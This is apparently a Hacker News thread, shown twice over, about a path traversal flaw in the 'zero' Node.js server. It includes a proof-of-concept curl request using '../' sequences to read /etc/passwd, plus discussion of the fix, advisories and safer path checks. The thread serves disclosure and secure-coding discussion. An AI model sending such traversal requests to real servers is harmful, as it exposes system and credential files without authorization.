7 ms·

Putting my money where my mouth is - use this to leak any file accessible by the running user of zero from the filesystem: # curl -v --path-as-is 127.0.0.1

by q3k 8y ago

Putting my money where my mouth is - use this to leak any file accessible by the running user of zero from the filesystem: # curl -v --path-as-is 127.0.0.1:3000/../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash [...]

asadlionpk 8y ago
Thanks for pointing this out. Fixed this particular bug!
- q3k 8y ago
  You also need to report this to security@npmjs.com so they post an advisory [1] and mark the existing versions as vulnerable. [1] - https://www.npmjs.com/advisories https://www.npmjs.com/advisories
  - Sephr 8y ago
    Anyone, including yourself can do that.
    - cat199 8y ago
      or, the person who should do it should do it and not rely on others to do their job for them?
      - danr4 8y ago
        it's not their job. there's a reason anyone can do it.
    - rarecoil 8y ago
      Everyone's talking about it but nobody did it, so I did.
- wesleytodd 8y ago
  Seems like your fix[1] for this is a bit fast. You are already importing `path` in that file. Also, you can do this with just one `path.relative`. Lastly, the url package method you are using is deprecated[2]. [1] https://github.com/remoteinterview/zero/commit/b4af5325c388e21a9bba4c9305c9a61693c73578 https://github.com/remoteinterview/zero/commit/b4af5325c388e... [2] https://nodejs.org/api/url.html#url_legacy_url_api https://nodejs.org/api/url.html#url_legacy_url_api
  - hombre_fatal 8y ago
    A simpler fix might be to canonicalize (i.e. no "..") the public folder path and the requested file path and then ensure the public path is a prefix of the other.
    - Kalium 8y ago
      Any fix also needs to be sure to resolve any symlinks before doing a prefix check.
  - the_mitsuhiko 8y ago
    This fix does not even work on windows. You can still request data on a different drive.
IshKebab 8y ago
I don't think I would use any package that makes this classic mistake in 2019. Web services need to be at least vaguely secure and this destroys all my confidence of that.
- cmroanirgo 8y ago
  You would've thought OP posting to HN should've considered security backlash. Unfortunately, damage is done for me too.
  - asadlionpk 8y ago
    This was fixed literally the minute it was commented here. Securing any project is always a long-term and continuous effort. This project is brand new, I posted the repo publicly this morning. I frankly think this subthread is an overreaction. I don’t get the hate.
    - tobr 8y ago
      > This project is brand new, I posted the repo publicly this morning. Are you implying that you don’t think it’s ready for production use? If so, maybe you should do like a lot of projects, and warn about it loud and clear in the docs. It’s not clear at all that users should expect the type of blatant security problems that were discovered here.
      - TheRealPomax 8y ago
        If the bar to posting to HN was "I am finally confident this project is mature", rather than "I can post any link I want and if people thing it's cool, it'll get upvoted", HN would have a hell of a lot less cool shit on the front page on a daily basis. People are allowed to screw up: it's how we learn. They got comments that pointed out flaws, they fixed them and posted a follow-up regarding that fix, why the hate? This person tried to make something cool, they learned important security lessons, and now have a deeper insight into what they made, and the world it operates in. How is this possibly a bad thing we don't want to have happen on HN?
brianberns 8y ago
Hah. Now that’s a Zero day Zero server exploit. :)
johnpipi 8y ago
can just put some logic to set the root directory where can start to include from?

by q3k 8y ago

asadlionpk 8y ago

Thanks for pointing this out. Fixed this particular bug!

q3k 8y ago
You also need to report this to security@npmjs.com so they post an advisory [1] and mark the existing versions as vulnerable. [1] - https://www.npmjs.com/advisories https://www.npmjs.com/advisories
- Sephr 8y ago
  Anyone, including yourself can do that.
  - cat199 8y ago
    or, the person who should do it should do it and not rely on others to do their job for them?
    - danr4 8y ago
      it's not their job. there's a reason anyone can do it.
  - rarecoil 8y ago
    Everyone's talking about it but nobody did it, so I did.
wesleytodd 8y ago
Seems like your fix[1] for this is a bit fast. You are already importing `path` in that file. Also, you can do this with just one `path.relative`. Lastly, the url package method you are using is deprecated[2]. [1] https://github.com/remoteinterview/zero/commit/b4af5325c388e21a9bba4c9305c9a61693c73578 https://github.com/remoteinterview/zero/commit/b4af5325c388e... [2] https://nodejs.org/api/url.html#url_legacy_url_api https://nodejs.org/api/url.html#url_legacy_url_api
- hombre_fatal 8y ago
  A simpler fix might be to canonicalize (i.e. no "..") the public folder path and the requested file path and then ensure the public path is a prefix of the other.
  - Kalium 8y ago
    Any fix also needs to be sure to resolve any symlinks before doing a prefix check.
- the_mitsuhiko 8y ago
  This fix does not even work on windows. You can still request data on a different drive.

IshKebab 8y ago

I don't think I would use any package that makes this classic mistake in 2019. Web services need to be at least vaguely secure and this destroys all my confidence of that.

cmroanirgo 8y ago
You would've thought OP posting to HN should've considered security backlash. Unfortunately, damage is done for me too.
- asadlionpk 8y ago
  This was fixed literally the minute it was commented here. Securing any project is always a long-term and continuous effort. This project is brand new, I posted the repo publicly this morning. I frankly think this subthread is an overreaction. I don’t get the hate.
  - tobr 8y ago
    > This project is brand new, I posted the repo publicly this morning. Are you implying that you don’t think it’s ready for production use? If so, maybe you should do like a lot of projects, and warn about it loud and clear in the docs. It’s not clear at all that users should expect the type of blatant security problems that were discovered here.
    - TheRealPomax 8y ago
      If the bar to posting to HN was "I am finally confident this project is mature", rather than "I can post any link I want and if people thing it's cool, it'll get upvoted", HN would have a hell of a lot less cool shit on the front page on a daily basis. People are allowed to screw up: it's how we learn. They got comments that pointed out flaws, they fixed them and posted a follow-up regarding that fix, why the hate? This person tried to make something cool, they learned important security lessons, and now have a deeper insight into what they made, and the world it operates in. How is this possibly a bad thing we don't want to have happen on HN?

brianberns 8y ago

Hah. Now that’s a Zero day Zero server exploit. :)

johnpipi 8y ago

can just put some logic to set the root directory where can start to include from?